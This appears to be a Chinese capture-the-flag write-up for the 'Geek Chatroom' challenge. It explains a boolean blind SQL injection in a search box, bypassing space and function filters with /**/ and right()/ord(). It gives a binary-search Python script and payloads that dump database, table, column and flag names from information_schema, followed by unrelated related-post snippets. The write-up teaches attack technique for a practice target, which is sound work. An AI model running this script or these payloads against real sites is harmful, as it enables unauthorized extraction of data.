第九届极客大挑战——Geek Chatroom(sql盲注)
首先观察这个web应用的功能,可以任意留言,也可以搜索留言,当然我还用cansina扫描过网站,查看过源码,抓包查看过header等。没发现其他提示的情况下断定这就是个sql注入,可能存在的注入点呢,就是留言时产生 insert into 注入,或者搜索时产生的 like '%xx%' 注入。经过多次尝试,发现留言板不存在注入点,注入点就在搜索功能中。
有过网站开发经验的应该很清楚搜索功能一般是这样实现的
select * from users where name like '%tom%';
%是通配符,匹配零个或多个字符,这句sql便是查找users表中所有name字段里带tom的。
我猜想该web应用后台的查询功能语句如下
select * from message where message like '%xxx%';
所以构造语句 123456789%'#

可以看到成功搜索到123456789,因为后台的语句被拼接成了
select * from message where message like '%123456789%’#%'
即
select * from message where message like '%123456789%'
当我尝试union查询的时候,发现显示

看来有对某些关键字有过滤,union不能用就不能让后台数据直接显示了(也或是存在我不知道的方法),不过到这步我就自然想到sql盲注,于是构造


语句注入成功,and 1 条件为真就可以查到数据,and 0 条件为假便不能查到数据。我这里用了括号,这是因为经过多次测试,发现对空格也有过滤或者替换,只要出现空格,语句就错误,所以便用括号来绕过空格,当然用注释/**/也是可以的
接下来就是常规的sql盲注步骤,要注意的就是这里过滤了文本截取函数substr(),mid(),和字符转ascii码函数ascii()等,但是没有过滤left(),right()和ord(),那么就可以利用right()来截取字符串,虽然截取出来是一段字符串,但是用ord()转换一段字符串为ascii码的话,只会取第一个字符,而且right第二个参数大于字符串长度的话是不会有影响的,和等于字符串长度的结果相同,例如
rigth('hello',10) == 'hello'
ord('hello') == ord('h')
于是便可以用right()和ord()遍历每一个字符,猜解整个字段
ord(right('hello',5)) == ord('h')
ord(right('hello',4)) == ord('e')
ord(right('hello',3)) == ord('l')
我用二分法写了一个盲注的python脚本,代码写的丑...大家凑合看,当然不用二分法也行,可以逐个字符对比,不过那样效率极低,极不推荐,至于多线程我没学过就不讨论了。其中第16行的有个 .format(str(30-index)) 里面的30要猜解的当前字段的长度,这个是一开始任意猜的(当然可以先用length()函数确切的判断长度,我觉得麻烦还不如自己猜一个)
以下脚本只演示了猜解当前数据库名
import requests
import re requests=requests.session() strall=[]
strall.append('')
for i in range(33,128):
strall.append(str(i)) def isthis(index,charascii,compare):
url='http://daedalus.kim:9000/index.php?act=search'
headers={
'Content-Type': 'application/x-www-form-urlencoded',
}
data="keyword=123456789%'/**/and/**/ord(right((select/**/database()),{}))".format(str(30-index))+compare+"{}#&submit=Search".format(charascii)
print data r=requests.post(url=url,headers=headers,data=data) a=True if r.text.find('There are no messages')>=0:
print 'false'
a=False
else:
print 'true'
a=True return a ans=''
flag=0
for index in range(1,99):
left=0
right=len(strall)
if flag:
break while left<=right:
mid=(left+right)>>1
if isthis(index,strall[mid],">"):
left=mid+1
elif isthis(index,strall[mid],"<"):
right=mid-1
else:
if strall[mid]=='':
flag=1
break
value=chr(int(strall[mid]))
ans+=value
print ans
break print ans raw_input('done')

由于我猜的数据库名是30位,所以这里出现的即是30个字符,当然很明显可以看出数据库就是simple_message_board
后面我掉了次坑,我猜解了simple_message_board数据库里的所有表名,只有一张message表,猜解message表的所有列名,发现只有id,username,message,并没有flag,一开始以为有人搅屎,去问了运维发现没有,而且这题也是我拿的一血,怎么会有人搅屎呢,于是我就想到flag可能在其他数据库,所以先来猜解下所有数据库名,不知道mysql里的information_schema数据库的小伙伴可以先去百度一下,这里我就不多解释了,反正在这个数据库里可以查到所有数据库名,表名还有列名,在sql注入中经常用到
查所有数据库名的sql即是
select group_concat(schema_name) from information_schema.schemata
然后把我脚本里的16行改成
data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{}))".format(str(50-index))+compare+"{}#&submit=Search".format(charascii)

这个就很明显了吧,有个叫做flag的数据库
接着猜解表名,16行改成
data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='flag'),{}))".format(str(20-index))+compare+"{}#&submit=Search".format(charascii)

flag数据库里有个flag表
接着猜列名,16行改成
data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='flag'/**/and/**/table_name='flag'),{}))".format(str(20-index))+compare+"{}#&submit=Search".format(charascii)

就一列,flag
最后猜解字段,16行改为
data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(flag)/**/from/**/flag.flag),{}))".format(str(25-index))+compare+"{}#&submit=Search".format(charascii)

因为我猜的长度是25,所以这里有25个字符,不过flag是SYC及其后的内容SYC{xxxxxxx}
第九届极客大挑战——Geek Chatroom(sql盲注)的更多相关文章
- 第九届极客大挑战 部分WP
CODE 和0xpoker分0day 百度 取石子游戏. https://blog.csdn.net/qq_33765907/article/details/51174524 已经说得很详细了,慢慢来 ...
- 第九届极客大挑战——怎么又是江师傅的秘密(java反序列化)
这道题其实是考jsp和java的,我没学过jsp,java倒是有一点了解,但是刚拿到题的时候还是看不懂java代码里的内容,所以去简单学习了下jsp(jsp教程),按照教程里的步骤搭建了eclipse ...
- 第九届极客大挑战——小帅的广告(二阶sql注入)
也是经过一通扫描和测试,没发现其他有用信息,感觉这是个sql注入.其实对于二阶sql注入我以前没实践过,也没看过资料,只是知道这个名字,但不知道为何看到这道题就让我回想起了这个名词,所以查了一下二阶s ...
- [极客大挑战 2019]BabySQL-1|SQL注入
1.打开题目之后,查看源代码信息,发现check.php文件,结果如下: 2.那就只能尝试登录,经测试当输入or.by.select.from.and.where等关键字时会被过滤且会被过滤为空(过滤 ...
- 2016第七季极客大挑战Writeup
第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...
- BUUOJ [极客大挑战 2019]Secret File
[极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...
- 三叶草极客大挑战2020 部分题目Writeup
三叶草极客大挑战2020 部分题目Writeup Web Welcome 打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码 <?php error_ ...
- [原题复现][极客大挑战 2019]BuyFlag
简介 原题复现:[极客大挑战 2019]BuyFlag 考察知识点:php函数特性(is_numeric().strcmp函数()) 线上平台:https://buuoj.cn(北京联合大学公开 ...
- 极客大挑战2019 http
极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...
随机推荐
- 【微信小程序】安装DingoApi开发小程序api
1.安装 composer require dingo/api 2.发布配置: php artisan vendor:publish 选择DingoApi发布. 3.向.env文件添加配置 (1)项目 ...
- CodeForces - 1007A (思维+双指针)
题意 https://vjudge.net/problem/CodeForces-1007A 对一个序列重排,使得新的数比原来的数大对应的位置个数最多. 思路 举个栗子,比如1 2 2 3 3 3 3 ...
- 18.Java基础_关键字this及其内存原理
this使用 this的内存原理 执行函数setName时,首先是创建函数栈空间,然后创建形参name,除此之外还会有一个this(实质是堆内存中对象的首地址),这个this会索引对象的成员变量nam ...
- selenium添加chrome配置项
selenium虽然强大,但也有不方便的地方,selenium每次启动浏览器都是一个全新的浏览器,并没有加载任何的配置,这样在爬取一些需要登陆才能看到的页面时就有些不太方便.但我们可以通过加载chro ...
- win10,anconda, python3.6安装dlib19.17
目的和经验: 几个月前在笔记本上安过一次,按着教程用cmake编译其实也蛮简单的,不过当初忘了收藏了.现在换了台机子需要重新安装一遍,奈何之前的帖子找不到了. pypi 网站上有19.8.whl,如果 ...
- 用 FFLIB 实现 Apex 企业设计模式
Apex 企业设计模式将应用分为服务层.模型层.选择逻辑层.工作单元几个部分.FFLIB 是一个开源的 Apex 框架,可以帮助开发者快速建立相关的功能. FFLIB 的安装 FFLIB 可以直接部署 ...
- 使用python做一个爬虫GUI程序
整体思路和之前的一篇博客爬虫豆瓣美女一致,这次加入了图片分类,同时利用tkinter模块做成GUI程序 效果如下: 整体代码如下: # -*- coding:utf-8 -*- import requ ...
- 机器学习之线性回归以及Logistic回归
1.线性回归 回归的目的是预测数值型数据的目标值.目标值的计算是通过一个线性方程得到的,这个方程称为回归方程,各未知量(特征)前的系数为回归系数,求这些系数的过程就是回归. 对于普通线性回归使用的损失 ...
- [CEOI2019]Cubeword(暴力)
没错,标签就是暴力. 首先发现棱上的所有词长度都相等,枚举长度 \(len\). 然后发现这些词中只有第一个字符和最后一个字符比较重要(只有这两个位置会与别的串衔接,中间的是啥无所谓). 令 \(cn ...
- leetcode 236. 二叉树的最近公共祖先LCA(后序遍历,回溯)
LCA(Least Common Ancestors),即最近公共祖先,是指在有根树中,找出某两个结点u和v最近的公共祖先. 题目描述 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先. 百度百 ...